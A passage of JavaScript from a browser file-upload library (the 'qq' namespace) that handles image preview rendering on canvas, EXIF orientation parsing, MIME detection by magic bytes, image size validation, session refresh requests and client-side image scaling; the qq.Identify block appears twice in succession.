                    var d = 1024, tmpCanvas = document.createElement("canvas"), vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1, dw = Math.ceil(d * width / iw), dh = Math.ceil(d * height / ih / vertSquashRatio), sy = 0, dy = 0, tmpCtx, sx, dx;
                    tmpCanvas.width = tmpCanvas.height = d;
                    tmpCtx = tmpCanvas.getContext("2d");
                    while (sy < ih) {
                        sx = 0;
                        dx = 0;
                        while (sx < iw) {
                            tmpCtx.clearRect(0, 0, d, d);
                            tmpCtx.drawImage(img, -sx, -sy);
                            ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);
                            sx += d;
                            dx += dw;
                        }
                        sy += d;
                        dy += dh;
                    }
                    ctx.restore();
                    tmpCanvas = tmpCtx = null;
                })();
            } else {
                ctx.drawImage(img, 0, 0, width, height);
            }
            canvas.qqImageRendered && canvas.qqImageRendered();
            promise.success();
            return promise;
        }
        function renderImageToCanvasWithCustomResizer(resizeInfo) {
            var blob = resizeInfo.blob, image = resizeInfo.image, imageHeight = resizeInfo.imageHeight, imageWidth = resizeInfo.imageWidth, orientation = resizeInfo.orientation, promise = new qq.Promise(), resize = resizeInfo.resize, sourceCanvas = document.createElement("canvas"), sourceCanvasContext = sourceCanvas.getContext("2d"), targetCanvas = resizeInfo.canvas, targetHeight = resizeInfo.targetHeight, targetWidth = resizeInfo.targetWidth;
            transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);
            targetCanvas.height = targetHeight;
            targetCanvas.width = targetWidth;
            sourceCanvasContext.drawImage(image, 0, 0);
            resize({
                blob: blob,
                height: targetHeight,
                image: image,
                sourceCanvas: sourceCanvas,
                targetCanvas: targetCanvas,
                width: targetWidth
            }).then(function success() {
                targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();
                promise.success();
            }, promise.failure);
            return promise;
        }
        function transformCoordinate(canvas, width, height, orientation) {
            switch (orientation) {
              case 5:
              case 6:
              case 7:
              case 8:
                canvas.width = height;
                canvas.height = width;
                break;

              default:
                canvas.width = width;
                canvas.height = height;
            }
            var ctx = canvas.getContext("2d");
            switch (orientation) {
              case 2:
                ctx.translate(width, 0);
                ctx.scale(-1, 1);
                break;

              case 3:
                ctx.translate(width, height);
                ctx.rotate(Math.PI);
                break;

              case 4:
                ctx.translate(0, height);
                ctx.scale(1, -1);
                break;

              case 5:
                ctx.rotate(.5 * Math.PI);
                ctx.scale(1, -1);
                break;

              case 6:
                ctx.rotate(.5 * Math.PI);
                ctx.translate(0, -height);
                break;

              case 7:
                ctx.rotate(.5 * Math.PI);
                ctx.translate(width, -height);
                ctx.scale(-1, 1);
                break;

              case 8:
                ctx.rotate(-.5 * Math.PI);
                ctx.translate(-width, 0);
                break;

              default:
                break;
            }
        }
        function MegaPixImage(srcImage, errorCallback) {
            var self = this;
            if (window.Blob && srcImage instanceof Blob) {
                (function() {
                    var img = new Image(), URL = window.URL && window.URL.createObjectURL ? window.URL : window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;
                    if (!URL) {
                        throw Error("No createObjectURL function found to create blob url");
                    }
                    img.src = URL.createObjectURL(srcImage);
                    self.blob = srcImage;
                    srcImage = img;
                })();
            }
            if (!srcImage.naturalWidth && !srcImage.naturalHeight) {
                srcImage.onload = function() {
                    var listeners = self.imageLoadListeners;
                    if (listeners) {
                        self.imageLoadListeners = null;
                        setTimeout(function() {
                            for (var i = 0, len = listeners.length; i < len; i++) {
                                listeners[i]();
                            }
                        }, 0);
                    }
                };
                srcImage.onerror = errorCallback;
                this.imageLoadListeners = [];
            }
            this.srcImage = srcImage;
        }
        MegaPixImage.prototype.render = function(target, options) {
            options = options || {};
            var self = this, imgWidth = this.srcImage.naturalWidth, imgHeight = this.srcImage.naturalHeight, width = options.width, height = options.height, maxWidth = options.maxWidth, maxHeight = options.maxHeight, doSquash = !this.blob || this.blob.type === "image/jpeg", tagName = target.tagName.toLowerCase(), opt;
            if (this.imageLoadListeners) {
                this.imageLoadListeners.push(function() {
                    self.render(target, options);
                });
                return;
            }
            if (width && !height) {
                height = imgHeight * width / imgWidth << 0;
            } else if (height && !width) {
                width = imgWidth * height / imgHeight << 0;
            } else {
                width = imgWidth;
                height = imgHeight;
            }
            if (maxWidth && width > maxWidth) {
                width = maxWidth;
                height = imgHeight * width / imgWidth << 0;
            }
            if (maxHeight && height > maxHeight) {
                height = maxHeight;
                width = imgWidth * height / imgHeight << 0;
            }
            opt = {
                width: width,
                height: height
            }, qq.each(options, function(optionsKey, optionsValue) {
                opt[optionsKey] = optionsValue;
            });
            if (tagName === "img") {
                (function() {
                    var oldTargetSrc = target.src;
                    renderImageToDataURL(self.srcImage, self.blob, opt, doSquash).then(function(dataUri) {
                        target.src = dataUri;
                        oldTargetSrc === target.src && target.onload();
                    });
                })();
            } else if (tagName === "canvas") {
                renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);
            }
            if (typeof this.onrender === "function") {
                this.onrender(target);
            }
        };
        qq.MegaPixImage = MegaPixImage;
    })();
    qq.ImageGenerator = function(log) {
        "use strict";
        function isImg(el) {
            return el.tagName.toLowerCase() === "img";
        }
        function isCanvas(el) {
            return el.tagName.toLowerCase() === "canvas";
        }
        function isImgCorsSupported() {
            return new Image().crossOrigin !== undefined;
        }
        function isCanvasSupported() {
            var canvas = document.createElement("canvas");
            return canvas.getContext && canvas.getContext("2d");
        }
        function determineMimeOfFileName(nameWithPath) {
            var pathSegments = nameWithPath.split("/"), name = pathSegments[pathSegments.length - 1].split("?")[0], extension = qq.getExtension(name);
            extension = extension && extension.toLowerCase();
            switch (extension) {
              case "jpeg":
              case "jpg":
                return "image/jpeg";

              case "png":
                return "image/png";

              case "bmp":
                return "image/bmp";

              case "gif":
                return "image/gif";

              case "tiff":
              case "tif":
                return "image/tiff";
            }
        }
        function isCrossOrigin(url) {
            var targetAnchor = document.createElement("a"), targetProtocol, targetHostname, targetPort;
            targetAnchor.href = url;
            targetProtocol = targetAnchor.protocol;
            targetPort = targetAnchor.port;
            targetHostname = targetAnchor.hostname;
            if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {
                return true;
            }
            if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {
                return true;
            }
            if (targetPort !== window.location.port && !qq.ie()) {
                return true;
            }
            return false;
        }
        function registerImgLoadListeners(img, promise) {
            img.onload = function() {
                img.onload = null;
                img.onerror = null;
                promise.success(img);
            };
            img.onerror = function() {
                img.onload = null;
                img.onerror = null;
                log("Problem drawing thumbnail!", "error");
                promise.failure(img, "Problem drawing thumbnail!");
            };
        }
        function registerCanvasDrawImageListener(canvas, promise) {
            canvas.qqImageRendered = function() {
                promise.success(canvas);
            };
        }
        function registerThumbnailRenderedListener(imgOrCanvas, promise) {
            var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);
            if (isImg(imgOrCanvas)) {
                registerImgLoadListeners(imgOrCanvas, promise);
            } else if (isCanvas(imgOrCanvas)) {
                registerCanvasDrawImageListener(imgOrCanvas, promise);
            } else {
                promise.failure(imgOrCanvas);
                log(qq.format("Element container of type {} is not supported!", imgOrCanvas.tagName), "error");
            }
            return registered;
        }
        function draw(fileOrBlob, container, options) {
            var drawPreview = new qq.Promise(), identifier = new qq.Identify(fileOrBlob, log), maxSize = options.maxSize, orient = options.orient == null ? true : options.orient, megapixErrorHandler = function() {
                container.onerror = null;
                container.onload = null;
                log("Could not render preview, file may be too large!", "error");
                drawPreview.failure(container, "Browser cannot render image!");
            };
            identifier.isPreviewable().then(function(mime) {
                var dummyExif = {
                    parse: function() {
                        return new qq.Promise().success();
                    }
                }, exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif, mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);
                if (registerThumbnailRenderedListener(container, drawPreview)) {
                    exif.parse().then(function(exif) {
                        var orientation = exif && exif.Orientation;
                        mpImg.render(container, {
                            maxWidth: maxSize,
                            maxHeight: maxSize,
                            orientation: orientation,
                            mime: mime,
                            resize: options.customResizeFunction
                        });
                    }, function(failureMsg) {
                        log(qq.format("EXIF data could not be parsed ({}).  Assuming orientation = 1.", failureMsg));
                        mpImg.render(container, {
                            maxWidth: maxSize,
                            maxHeight: maxSize,
                            mime: mime,
                            resize: options.customResizeFunction
                        });
                    });
                }
            }, function() {
                log("Not previewable");
                drawPreview.failure(container, "Not previewable");
            });
            return drawPreview;
        }
        function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {
            var tempImg = new Image(), tempImgRender = new qq.Promise();
            registerThumbnailRenderedListener(tempImg, tempImgRender);
            if (isCrossOrigin(url)) {
                tempImg.crossOrigin = "anonymous";
            }
            tempImg.src = url;
            tempImgRender.then(function rendered() {
                registerThumbnailRenderedListener(canvasOrImg, draw);
                var mpImg = new qq.MegaPixImage(tempImg);
                mpImg.render(canvasOrImg, {
                    maxWidth: maxSize,
                    maxHeight: maxSize,
                    mime: determineMimeOfFileName(url),
                    resize: customResizeFunction
                });
            }, draw.failure);
        }
        function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {
            registerThumbnailRenderedListener(img, draw);
            qq(img).css({
                maxWidth: maxSize + "px",
                maxHeight: maxSize + "px"
            });
            img.src = url;
        }
        function drawFromUrl(url, container, options) {
            var draw = new qq.Promise(), scale = options.scale, maxSize = scale ? options.maxSize : null;
            if (scale && isImg(container)) {
                if (isCanvasSupported()) {
                    if (isCrossOrigin(url) && !isImgCorsSupported()) {
                        drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);
                    } else {
                        drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);
                    }
                } else {
                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);
                }
            } else if (isCanvas(container)) {
                drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);
            } else if (registerThumbnailRenderedListener(container, draw)) {
                container.src = url;
            }
            return draw;
        }
        qq.extend(this, {
            generate: function(fileBlobOrUrl, container, options) {
                if (qq.isString(fileBlobOrUrl)) {
                    log("Attempting to update thumbnail based on server response.");
                    return drawFromUrl(fileBlobOrUrl, container, options || {});
                } else {
                    log("Attempting to draw client-side image preview.");
                    return draw(fileBlobOrUrl, container, options || {});
                }
            }
        });
        this._testing = {};
        this._testing.isImg = isImg;
        this._testing.isCanvas = isCanvas;
        this._testing.isCrossOrigin = isCrossOrigin;
        this._testing.determineMimeOfFileName = determineMimeOfFileName;
    };
    qq.Exif = function(fileOrBlob, log) {
        "use strict";
        var TAG_IDS = [ 274 ], TAG_INFO = {
            274: {
                name: "Orientation",
                bytes: 2
            }
        };
        function parseLittleEndian(hex) {
            var result = 0, pow = 0;
            while (hex.length > 0) {
                result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);
                hex = hex.substring(2, hex.length);
                pow += 8;
            }
            return result;
        }
        function seekToApp1(offset, promise) {
            var theOffset = offset, thePromise = promise;
            if (theOffset === undefined) {
                theOffset = 2;
                thePromise = new qq.Promise();
            }
            qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {
                var match = /^ffe([0-9])/.exec(hex), segmentLength;
                if (match) {
                    if (match[1] !== "1") {
                        segmentLength = parseInt(hex.slice(4, 8), 16);
                        seekToApp1(theOffset + segmentLength + 2, thePromise);
                    } else {
                        thePromise.success(theOffset);
                    }
                } else {
                    thePromise.failure("No EXIF header to be found!");
                }
            });
            return thePromise;
        }
        function getApp1Offset() {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {
                if (hex.indexOf("ffd8") !== 0) {
                    promise.failure("Not a valid JPEG!");
                } else {
                    seekToApp1().then(function(offset) {
                        promise.success(offset);
                    }, function(error) {
                        promise.failure(error);
                    });
                }
            });
            return promise;
        }
        function isLittleEndian(app1Start) {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {
                promise.success(hex === "4949");
            });
            return promise;
        }
        function getDirEntryCount(app1Start, littleEndian) {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {
                if (littleEndian) {
                    return promise.success(parseLittleEndian(hex));
                } else {
                    promise.success(parseInt(hex, 16));
                }
            });
            return promise;
        }
        function getIfd(app1Start, dirEntries) {
            var offset = app1Start + 20, bytes = dirEntries * 12;
            return qq.readBlobToHex(fileOrBlob, offset, bytes);
        }
        function getDirEntries(ifdHex) {
            var entries = [], offset = 0;
            while (offset + 24 <= ifdHex.length) {
                entries.push(ifdHex.slice(offset, offset + 24));
                offset += 24;
            }
            return entries;
        }
        function getTagValues(littleEndian, dirEntries) {
            var TAG_VAL_OFFSET = 16, tagsToFind = qq.extend([], TAG_IDS), vals = {};
            qq.each(dirEntries, function(idx, entry) {
                var idHex = entry.slice(0, 4), id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16), tagsToFindIdx = tagsToFind.indexOf(id), tagValHex, tagName, tagValLength;
                if (tagsToFindIdx >= 0) {
                    tagName = TAG_INFO[id].name;
                    tagValLength = TAG_INFO[id].bytes;
                    tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + tagValLength * 2);
                    vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);
                    tagsToFind.splice(tagsToFindIdx, 1);
                }
                if (tagsToFind.length === 0) {
                    return false;
                }
            });
            return vals;
        }
        qq.extend(this, {
            parse: function() {
                var parser = new qq.Promise(), onParseFailure = function(message) {
                    log(qq.format("EXIF header parse failed: '{}' ", message));
                    parser.failure(message);
                };
                getApp1Offset().then(function(app1Offset) {
                    log(qq.format("Moving forward with EXIF header parsing for '{}'", fileOrBlob.name === undefined ? "blob" : fileOrBlob.name));
                    isLittleEndian(app1Offset).then(function(littleEndian) {
                        log(qq.format("EXIF Byte order is {} endian", littleEndian ? "little" : "big"));
                        getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {
                            log(qq.format("Found {} APP1 directory entries", dirEntryCount));
                            getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {
                                var dirEntries = getDirEntries(ifdHex), tagValues = getTagValues(littleEndian, dirEntries);
                                log("Successfully parsed some EXIF tags");
                                parser.success(tagValues);
                            }, onParseFailure);
                        }, onParseFailure);
                    }, onParseFailure);
                }, onParseFailure);
                return parser;
            }
        });
        this._testing = {};
        this._testing.parseLittleEndian = parseLittleEndian;
    };
    qq.Identify = function(fileOrBlob, log) {
        "use strict";
        function isIdentifiable(magicBytes, questionableBytes) {
            var identifiable = false, magicBytesEntries = [].concat(magicBytes);
            qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {
                if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {
                    identifiable = true;
                    return false;
                }
            });
            return identifiable;
        }
        qq.extend(this, {
            isPreviewable: function() {
                var self = this, identifier = new qq.Promise(), previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                log(qq.format("Attempting to determine if {} can be rendered in this browser", name));
                log("First pass: check type attribute of blob object.");
                if (this.isPreviewableSync()) {
                    log("Second pass: check for magic bytes in file header.");
                    qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {
                        qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {
                            if (isIdentifiable(bytes, hex)) {
                                if (mime !== "image/tiff" || qq.supportedFeatures.tiffPreviews) {
                                    previewable = true;
                                    identifier.success(mime);
                                }
                                return false;
                            }
                        });
                        log(qq.format("'{}' is {} able to be rendered in this browser", name, previewable ? "" : "NOT"));
                        if (!previewable) {
                            identifier.failure();
                        }
                    }, function() {
                        log("Error reading file w/ name '" + name + "'.  Not able to be rendered in this browser.");
                        identifier.failure();
                    });
                } else {
                    identifier.failure();
                }
                return identifier;
            },
            isPreviewableSync: function() {
                var fileMime = fileOrBlob.type, isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0, previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                if (isRecognizedImage) {
                    if (fileMime === "image/tiff") {
                        previewable = qq.supportedFeatures.tiffPreviews;
                    } else {
                        previewable = true;
                    }
                }
                !previewable && log(name + " is not previewable in this browser per the blob's type attr");
                return previewable;
            }
        });
    };
    qq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {
        "image/jpeg": "ffd8ff",
        "image/gif": "474946",
        "image/png": "89504e",
        "image/bmp": "424d",
        "image/tiff": [ "49492a00", "4d4d002a" ]
    };
    qq.Identify = function(fileOrBlob, log) {
        "use strict";
        function isIdentifiable(magicBytes, questionableBytes) {
            var identifiable = false, magicBytesEntries = [].concat(magicBytes);
            qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {
                if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {
                    identifiable = true;
                    return false;
                }
            });
            return identifiable;
        }
        qq.extend(this, {
            isPreviewable: function() {
                var self = this, identifier = new qq.Promise(), previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                log(qq.format("Attempting to determine if {} can be rendered in this browser", name));
                log("First pass: check type attribute of blob object.");
                if (this.isPreviewableSync()) {
                    log("Second pass: check for magic bytes in file header.");
                    qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {
                        qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {
                            if (isIdentifiable(bytes, hex)) {
                                if (mime !== "image/tiff" || qq.supportedFeatures.tiffPreviews) {
                                    previewable = true;
                                    identifier.success(mime);
                                }
                                return false;
                            }
                        });
                        log(qq.format("'{}' is {} able to be rendered in this browser", name, previewable ? "" : "NOT"));
                        if (!previewable) {
                            identifier.failure();
                        }
                    }, function() {
                        log("Error reading file w/ name '" + name + "'.  Not able to be rendered in this browser.");
                        identifier.failure();
                    });
                } else {
                    identifier.failure();
                }
                return identifier;
            },
            isPreviewableSync: function() {
                var fileMime = fileOrBlob.type, isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0, previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                if (isRecognizedImage) {
                    if (fileMime === "image/tiff") {
                        previewable = qq.supportedFeatures.tiffPreviews;
                    } else {
                        previewable = true;
                    }
                }
                !previewable && log(name + " is not previewable in this browser per the blob's type attr");
                return previewable;
            }
        });
    };
    qq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {
        "image/jpeg": "ffd8ff",
        "image/gif": "474946",
        "image/png": "89504e",
        "image/bmp": "424d",
        "image/tiff": [ "49492a00", "4d4d002a" ]
    };
    qq.ImageValidation = function(blob, log) {
        "use strict";
        function hasNonZeroLimits(limits) {
            var atLeastOne = false;
            qq.each(limits, function(limit, value) {
                if (value > 0) {
                    atLeastOne = true;
                    return false;
                }
            });
            return atLeastOne;
        }
        function getWidthHeight() {
            var sizeDetermination = new qq.Promise();
            new qq.Identify(blob, log).isPreviewable().then(function() {
                var image = new Image(), url = window.URL && window.URL.createObjectURL ? window.URL : window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;
                if (url) {
                    image.onerror = function() {
                        log("Cannot determine dimensions for image.  May be too large.", "error");
                        sizeDetermination.failure();
                    };
                    image.onload = function() {
                        sizeDetermination.success({
                            width: this.width,
                            height: this.height
                        });
                    };
                    image.src = url.createObjectURL(blob);
                } else {
                    log("No createObjectURL function available to generate image URL!", "error");
                    sizeDetermination.failure();
                }
            }, sizeDetermination.failure);
            return sizeDetermination;
        }
        function getFailingLimit(limits, dimensions) {
            var failingLimit;
            qq.each(limits, function(limitName, limitValue) {
                if (limitValue > 0) {
                    var limitMatcher = /(max|min)(Width|Height)/.exec(limitName), dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1), actualValue = dimensions[dimensionPropName];
                    switch (limitMatcher[1]) {
                      case "min":
                        if (actualValue < limitValue) {
                            failingLimit = limitName;
                            return false;
                        }
                        break;

                      case "max":
                        if (actualValue > limitValue) {
                            failingLimit = limitName;
                            return false;
                        }
                        break;
                    }
                }
            });
            return failingLimit;
        }
        this.validate = function(limits) {
            var validationEffort = new qq.Promise();
            log("Attempting to validate image.");
            if (hasNonZeroLimits(limits)) {
                getWidthHeight().then(function(dimensions) {
                    var failingLimit = getFailingLimit(limits, dimensions);
                    if (failingLimit) {
                        validationEffort.failure(failingLimit);
                    } else {
                        validationEffort.success();
                    }
                }, validationEffort.success);
            } else {
                validationEffort.success();
            }
            return validationEffort;
        };
    };
    qq.Session = function(spec) {
        "use strict";
        var options = {
            endpoint: null,
            params: {},
            customHeaders: {},
            cors: {},
            addFileRecord: function(sessionData) {},
            log: function(message, level) {}
        };
        qq.extend(options, spec, true);
        function isJsonResponseValid(response) {
            if (qq.isArray(response)) {
                return true;
            }
            options.log("Session response is not an array.", "error");
        }
        function handleFileItems(fileItems, success, xhrOrXdr, promise) {
            var someItemsIgnored = false;
            success = success && isJsonResponseValid(fileItems);
            if (success) {
                qq.each(fileItems, function(idx, fileItem) {
                    if (fileItem.uuid == null) {
                        someItemsIgnored = true;
                        options.log(qq.format("Session response item {} did not include a valid UUID - ignoring.", idx), "error");
                    } else if (fileItem.name == null) {
                        someItemsIgnored = true;
                        options.log(qq.format("Session response item {} did not include a valid name - ignoring.", idx), "error");
                    } else {
                        try {
                            options.addFileRecord(fileItem);
                            return true;
                        } catch (err) {
                            someItemsIgnored = true;
                            options.log(err.message, "error");
                        }
                    }
                    return false;
                });
            }
            promise[success && !someItemsIgnored ? "success" : "failure"](fileItems, xhrOrXdr);
        }
        this.refresh = function() {
            var refreshEffort = new qq.Promise(), refreshCompleteCallback = function(response, success, xhrOrXdr) {
                handleFileItems(response, success, xhrOrXdr, refreshEffort);
            }, requesterOptions = qq.extend({}, options), requester = new qq.SessionAjaxRequester(qq.extend(requesterOptions, {
                onComplete: refreshCompleteCallback
            }));
            requester.queryServer();
            return refreshEffort;
        };
    };
    qq.SessionAjaxRequester = function(spec) {
        "use strict";
        var requester, options = {
            endpoint: null,
            customHeaders: {},
            params: {},
            cors: {
                expected: false,
                sendCredentials: false
            },
            onComplete: function(response, success, xhrOrXdr) {},
            log: function(str, level) {}
        };
        qq.extend(options, spec);
        function onComplete(id, xhrOrXdr, isError) {
            var response = null;
            if (xhrOrXdr.responseText != null) {
                try {
                    response = qq.parseJson(xhrOrXdr.responseText);
                } catch (err) {
                    options.log("Problem parsing session response: " + err.message, "error");
                    isError = true;
                }
            }
            options.onComplete(response, !isError, xhrOrXdr);
        }
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ "GET" ],
            method: "GET",
            endpointStore: {
                get: function() {
                    return options.endpoint;
                }
            },
            customHeaders: options.customHeaders,
            log: options.log,
            onComplete: onComplete,
            cors: options.cors
        }));
        qq.extend(this, {
            queryServer: function() {
                var params = qq.extend({}, options.params);
                options.log("Session query request.");
                requester.initTransport("sessionRefresh").withParams(params).withCacheBuster().send();
            }
        });
    };
    qq.Scaler = function(spec, log) {
        "use strict";
        var self = this, customResizeFunction = spec.customResizer, includeOriginal = spec.sendOriginal, orient = spec.orient, defaultType = spec.defaultType, defaultQuality = spec.defaultQuality / 100, failedToScaleText = spec.failureText, includeExif = spec.includeExif, sizes = this._getSortedSizes(spec.sizes);
        qq.extend(this, {
            enabled: qq.supportedFeatures.scaling && sizes.length > 0,
            getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {
                var self = this, records = [], originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData, identifier = new qq.Identify(originalBlob, log);
                if (identifier.isPreviewableSync()) {
                    qq.each(sizes, function(idx, sizeRecord) {
                        var outputType = self._determineOutputType({
                            defaultType: defaultType,
                            requestedType: sizeRecord.type,
                            refType: originalBlob.type
                        });
                        records.push({
                            uuid: qq.getUniqueId(),
                            name: self._getName(originalFileName, {
                                name: sizeRecord.name,
                                type: outputType,
                                refType: originalBlob.type
                            }),
                            blob: new qq.BlobProxy(originalBlob, qq.bind(self._generateScaledImage, self, {
                                customResizeFunction: customResizeFunction,
                                maxSize: sizeRecord.maxSize,
                                orient: orient,
                                type: outputType,
                                quality: defaultQuality,
                                failedText: failedToScaleText,
                                includeExif: includeExif,
                                log: log
                            }))
                        });
                    });
                    records.push({
                        uuid: originalFileUuid,
                        name: originalFileName,
                        size: originalBlob.size,
                        blob: includeOriginal ? originalBlob : null
                    });
                } else {
                    records.push({
                        uuid: originalFileUuid,
                        name: originalFileName,
                        size: originalBlob.size,
                        blob: originalBlob
                    });
                }
                return records;
            },
            handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {
                var self = this, buttonId = file.qqButtonId || file.blob && file.blob.qqButtonId, scaledIds = [], originalId = null, addFileToHandler = api.addFileToHandler, uploadData = api.uploadData, paramsStore = api.paramsStore, proxyGroupId = qq.getUniqueId();
                qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {
                    var blobSize = record.size, id;
                    if (record.blob instanceof qq.BlobProxy) {
                        blobSize = -1;
                    }
                    id = uploadData.addFile({
                        uuid: record.uuid,
                        name: record.name,
                        size: blobSize,
                        batchId: batchId,
                        proxyGroupId: proxyGroupId
                    });
                    if (record.blob instanceof qq.BlobProxy) {
                        scaledIds.push(id);
                    } else {
                        originalId = id;
                    }
                    if (record.blob) {
                        addFileToHandler(id, record.blob);
                        fileList.push({
                            id: id,
                            file: record.blob
                        });
                    } else {
                        uploadData.setStatus(id, qq.status.REJECTED);
                    }
                });
                if (originalId !== null) {
                    qq.each(scaledIds, function(idx, scaledId) {
                        var params = {
                            qqparentuuid: uploadData.retrieve({
                                id: originalId
                            }).uuid,
                            qqparentsize: uploadData.retrieve({
                                id: originalId
                            }).size
                        };
                        params[uuidParamName] = uploadData.retrieve({
                            id: scaledId
                        }).uuid;
                        uploadData.setParentId(scaledId, originalId);
                        paramsStore.addReadOnly(scaledId, params);
                    });
                    if (scaledIds.length) {
                        (function() {
                            var param = {};
                            param[uuidParamName] = uploadData.retrieve({
                                id: originalId
                            }).uuid;
                            paramsStore.addReadOnly(originalId, param);
                        })();
                    }
                }
            }
        });
    };
    qq.extend(qq.Scaler.prototype, {
        scaleImage: function(id, specs, api) {
            "use strict";
            if (!qq.supportedFeatures.scaling) {
                throw new qq.Error("Scaling is not supported in this browser!");
            }
            var scalingEffort = new qq.Promise(), log = api.log, file = api.getFile(id), uploadData = api.uploadData.retrieve({
                id: id
            }), name = uploadData && uploadData.name, uuid = uploadData && uploadData.uuid, scalingOptions = {
                customResizer: specs.customResizer,
                sendOriginal: false,
                orient: specs.orient,
                defaultType: specs.type || null,
                defaultQuality: specs.quality,
                failedToScaleText: "Unable to scale",
                sizes: [ {
                    name: "",
                    maxSize: specs.maxSize
                } ]
            }, scaler = new qq.Scaler(scalingOptions, log);
            if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {
                scalingEffort.failure();
                log("Could not generate requested scaled image for " + id + ".  " + "Scaling is either not possible in this browser, or the file could not be located.", "error");
            } else {
                qq.bind(function() {
                    var record = scaler.getFileRecords(uuid, name, file)[0];
                    if (record && record.blob instanceof qq.BlobProxy) {
                        record.blob.create().then(scalingEffort.success, scalingEffort.failure);
                    } else {
                        log(id + " is not a scalable image!", "error");
                        scalingEffort.failure();
                    }
                }, this)();
            }
            return scalingEffort;
        },
        _determineOutputType: function(spec) {
            "use strict";
            var requestedType = spec.requestedType, defaultType = spec.defaultType, referenceType = spec.refType;
            if (!defaultType && !requestedType) {
                if (referenceType !== "image/jpeg") {
                    return "image/png";
                }
                return referenceType;
            }
            if (!requestedType) {
                return defaultType;
            }
            if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {
                if (requestedType === "image/tiff") {
                    return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;
                }
                return requestedType;
            }
            return defaultType;
        },
        _getName: function(originalName, scaledVersionProperties) {
            "use strict";
            var startOfExt = originalName.lastIndexOf("."), versionType = scaledVersionProperties.type || "image/png", referenceType = scaledVersionProperties.refType, scaledName = "", scaledExt = qq.getExtension(originalName), nameAppendage = "";
            if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {
                nameAppendage = " (" + scaledVersionProperties.name + ")";
            }
            if (startOfExt >= 0) {
                scaledName = originalName.substr(0, startOfExt);
                if (referenceType !== versionType) {
                    scaledExt = versionType.split("/")[1];
                }
                scaledName += nameAppendage + "." + scaledExt;
            } else {
                scaledName = originalName + nameAppendage;
            }
            return scaledName;
        },
        _getSortedSizes: function(sizes) {
            "use strict";
            sizes = qq.extend([], sizes);
            return sizes.sort(function(a, b) {
                if (a.maxSize > b.maxSize) {
                    return 1;
                }
                if (a.maxSize < b.maxSize) {
                    return -1;
                }
                return 0;
            });
        },
        _generateScaledImage: function(spec, sourceFile) {
            "use strict";
            var self = this, customResizeFunction = spec.customResizeFunction, log = spec.log, maxSize = spec.maxSize, orient = spec.orient, type = spec.type, quality = spec.quality, failedText = spec.failedText, includeExif = spec.includeExif && sourceFile.type === "image/jpeg" && type === "image/jpeg", scalingEffort = new qq.Promise(), imageGenerator = new qq.ImageGenerator(log), canvas = document.createElement("canvas");
            log("Attempting to generate scaled version for " + sourceFile.name);
            imageGenerator.generate(sourceFile, canvas, {
                maxSize: maxSize,
                orient: orient,
                customResizeFunction: customResizeFunction
            }).then(function() {
                var scaledImageDataUri = canvas.toDataURL(type, quality), signalSuccess = function() {
                    log("Success generating scaled version for " + sourceFile.name);
                    var blob = qq.dataUriToBlob(scaledImageDataUri);
                    scalingEffort.success(blob);
                };
                if (includeExif) {
